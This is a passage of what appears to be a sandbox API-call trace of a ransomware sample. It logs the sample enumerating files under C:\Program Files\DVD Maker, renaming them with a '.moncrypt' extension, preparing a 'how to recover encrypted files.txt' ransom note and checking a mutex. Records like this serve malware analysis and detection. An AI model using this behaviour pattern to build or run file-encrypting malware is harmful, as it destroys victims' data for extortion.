CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0057.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exew", lpUsedDefaultChar=0x0) returned 4 [0057.197] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.197] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0057.198] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.198] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.198] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.198] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.198] GlobalUnlock (hMem=0x440004) returned 0 [0057.198] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.198] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.198] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.198] GlobalUnlock (hMem=0x440004) returned 0 [0057.198] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.198] GlobalUnlock (hMem=0x44000c) returned 0 [0057.198] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.198] CharLowerBuffW (in: lpsz="Eurosti.TTF", cchLength=0xb | out: lpsz="eurosti.ttf") returned 0xb [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.199] CharLowerBuffW (in: lpsz=".TTF", cchLength=0x4 | out: lpsz=".ttf") returned 0x4 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ttf", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ttfw", lpUsedDefaultChar=0x0) returned 4 [0057.199] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.199] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.199] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.199] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.199] GlobalUnlock (hMem=0x44000c) returned 0 [0057.199] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.199] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.199] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.199] GlobalUnlock (hMem=0x44000c) returned 0 [0057.199] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.199] GlobalUnlock (hMem=0x440004) returned 0 [0057.199] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.199] CharLowerBuffW (in: lpsz="fieldswitch.ax", cchLength=0xe | out: lpsz="fieldswitch.ax") returned 0xe [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.200] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.200] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ax", cchWideChar=3, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ax", lpUsedDefaultChar=0x0) returned 3 [0057.200] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.200] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.200] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.200] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.200] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax", dwFileAttributes=0x20) returned 0 [0057.201] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.201] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.moncrypt")) returned 0 [0057.201] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.201] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.201] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.201] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.201] GlobalUnlock (hMem=0x440004) returned 0 [0057.201] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.202] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.202] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.202] GlobalUnlock (hMem=0x440004) returned 0 [0057.202] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.202] GlobalUnlock (hMem=0x44000c) returned 0 [0057.202] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.202] CharLowerBuffW (in: lpsz="mason fri.exe", cchLength=0xd | out: lpsz="mason fri.exe") returned 0xd [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.202] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0057.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exew", lpUsedDefaultChar=0x0) returned 4 [0057.202] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.202] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.202] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.202] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.202] GlobalUnlock (hMem=0x44000c) returned 0 [0057.203] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.203] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.203] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.203] GlobalUnlock (hMem=0x44000c) returned 0 [0057.203] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.203] GlobalUnlock (hMem=0x440004) returned 0 [0057.203] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.203] CharLowerBuffW (in: lpsz="offset.ax", cchLength=0x9 | out: lpsz="offset.ax") returned 0x9 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.203] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.203] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ax", cchWideChar=3, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ax", lpUsedDefaultChar=0x0) returned 3 [0057.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\offset.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.203] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.203] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.203] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.204] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax", dwFileAttributes=0x20) returned 0 [0057.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.204] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\offset.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\offset.ax.moncrypt")) returned 0 [0057.204] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.204] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.204] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.204] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.204] GlobalUnlock (hMem=0x440004) returned 0 [0057.204] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.204] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.204] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.204] GlobalUnlock (hMem=0x440004) returned 0 [0057.204] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.204] GlobalUnlock (hMem=0x44000c) returned 0 [0057.205] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.205] CharLowerBuffW (in: lpsz="OmdBase.dll", cchLength=0xb | out: lpsz="omdbase.dll") returned 0xb [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, 